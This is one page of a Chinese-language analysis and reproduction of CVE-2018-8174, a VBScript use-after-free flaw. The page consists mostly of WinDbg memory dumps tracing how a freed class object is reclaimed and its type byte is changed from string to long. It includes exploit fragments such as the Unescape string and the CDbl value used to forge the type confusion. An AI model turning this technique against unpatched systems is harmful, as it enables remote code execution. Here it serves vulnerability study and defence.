CVE-2018-8174双杀漏洞分析复现及防御
来源:岁月联盟
时间:2020-01-29
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
7130c206 8bff mov edi,edi
0:005> dd poi(esp+c)
01cd08a8 00000008 00000000 01cc7f6c 00000003
01cd08b8 02490002 01cd2fa8 01cb0006 0249c454
01cd08c8 02490002 01cd2fa8 01cb0001 0249c454
01cd08d8 00000000 00000000 00000000 00000000
01cd08e8 00000000 00000000 00000000 00000000
01cd08f8 00000000 00000000 00000000 00000000
01cd0908 00000005 00000000 00000000 00000003
01cd0918 0249c720 01cd0938 01cb2560 712f4211
0:005> du 01cc7f6c
01cc7f6c "finish set array_c to 0"
//再看类对象地址已经被free
0:005> dd 1cb2560
01cb2560 712f00d4 00000000 00000000 00000000
01cb2570 000003ec 00000000 00000000 00000000
01cb2580 00000000 002a613c 00000000 00000000
01cb2590 59acc23f 8c000000 712fce78 71303100
01cb25a0 713030f0 00000002 003be638 01cd27d0
01cb25b0 0029f090 0249cb64 00000000 00000000
01cb25c0 00000000 00000000 59acc234 80000000
01cb25d0 712f00db 71303100 713030f0 00000000
0:005> !heap -p -a 1cb2560
address 01cb2560 found in
_HEAP @ 3b0000
HEAP_ENTRY Size Prev Flags UserPtr UserSize - state
01cb2558 0007 0000 [00] 01cb2560 00030 - (free)
cla7的Get P中的第二次IsEmpty,占位:
Breakpoint 3 hit
eax=712f185c ebx=0249c5f8 ecx=7134a9d8 edx=0249c570 esi=01cc7394 edi=00000001
eip=7130c206 esp=0249c48c ebp=0249c49c iopl=0 nv up ei pl zr na pe nc
cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00000246
vbscript!VbsIsEmpty:
7130c206 8bff mov edi,edi
0:005> dd 1cb2560
01cb2560 712f1748 00000002 01cb5210 003be638 //占位成功 ,01cb5210为cla5.mem
01cb2570 000003ec 00000000 00000000 00000000
01cb2580 00000000 002a613c 00000000 01cb2528
01cb2590 59acc23f 8c000000 712fce78 71303100
01cb25a0 713030f0 00000002 003be638 01cd27d0
01cb25b0 0029f090 0249cb64 00000000 00000000
01cb25c0 00000000 00000000 59acc234 8c000000
01cb25d0 712fce78 71303100 713030f0 00000001
0:005> du 002a613c
002a613c "cla5"
:005> dd 01cb5210
01cb5210 01cb76d8 000000b8 00000100 00000100
01cb5220 00004000 01cb76dc 01cb777c 01cb3ec0
01cb5230 0000000f 00000003 00000040 00000003
01cb5240 00000014 01cb5248 01cb76dc 01cb7724
01cb5250 01cb775c 000004a3 00000000 01cb51b8
01cb5260 01cb522c 00000002 00000000 000004a5
01cb5270 000004aa 00000c93 00000002 00000000
01cb5280 000004ab 000004af 000017a6 00000012
//可以看到占位后的地址是 01cb775c 与上面保存的占位前的mem的地址01cb7750相差0xc
0:005> dd 01cb775c
01cb775c 00000008 00000000 002de31c 00000000 //原始类型为一个0x08 vbstring类型
01cb776c 00000000 00000000 0000822f 00000006
01cb777c 00000000 00000000 00000003 45001e5b
//当前字符串的内容为:str_2=Unescape("%u0000%u0000%u0000%u0000%u0000%u0000%u0000%u0000")
0:005> dd 002de31c
002de31c 00000000 00000000 00000000 00000000
002de32c 00000000 00000000 00000000 585693f2
cla7的Get P中的第三次IsEmpty,类型混淆:
0:005> dd 01cb5210
01cb5210 01cb76d8 000000b8 00000100 00000100
01cb5220 00004000 01cb76dc 01cb777c 01cb3ec0
01cb5230 0000000f 00000003 00000040 00000003
01cb5240 00000014 01cb5248 01cb76dc 01cb7724
01cb5250 01cb775c 000004a3 00000000 01cb51b8
01cb5260 01cb522c 00000002 00000000 000004a5
01cb5270 000004aa 00000c93 00000002 00000000
01cb5280 000004ab 000004af 000017a6 00000012
0:005> dd 01cb775c
01cb775c 00000003 00000000 002de31c 00000000 //类型更改后,0x03是vbLong类型01cb776c 00000000 00000000 0000822f 00000006
01cb777c 00000000 00000000 00000003 45001e5b
//P=CDbl("636598737289582e-328") //dd 00000005 00000000 00000000 000000030:005> dd 01cb775c-c
01cb7750 00000005 00000000 00000000 00000003
上一页 [1] [2] [3] [4] [5] [6] [7] [8] [9] [10] [11] [12] [13] [14] [15] [16] [17] [18] [19] [20] 下一页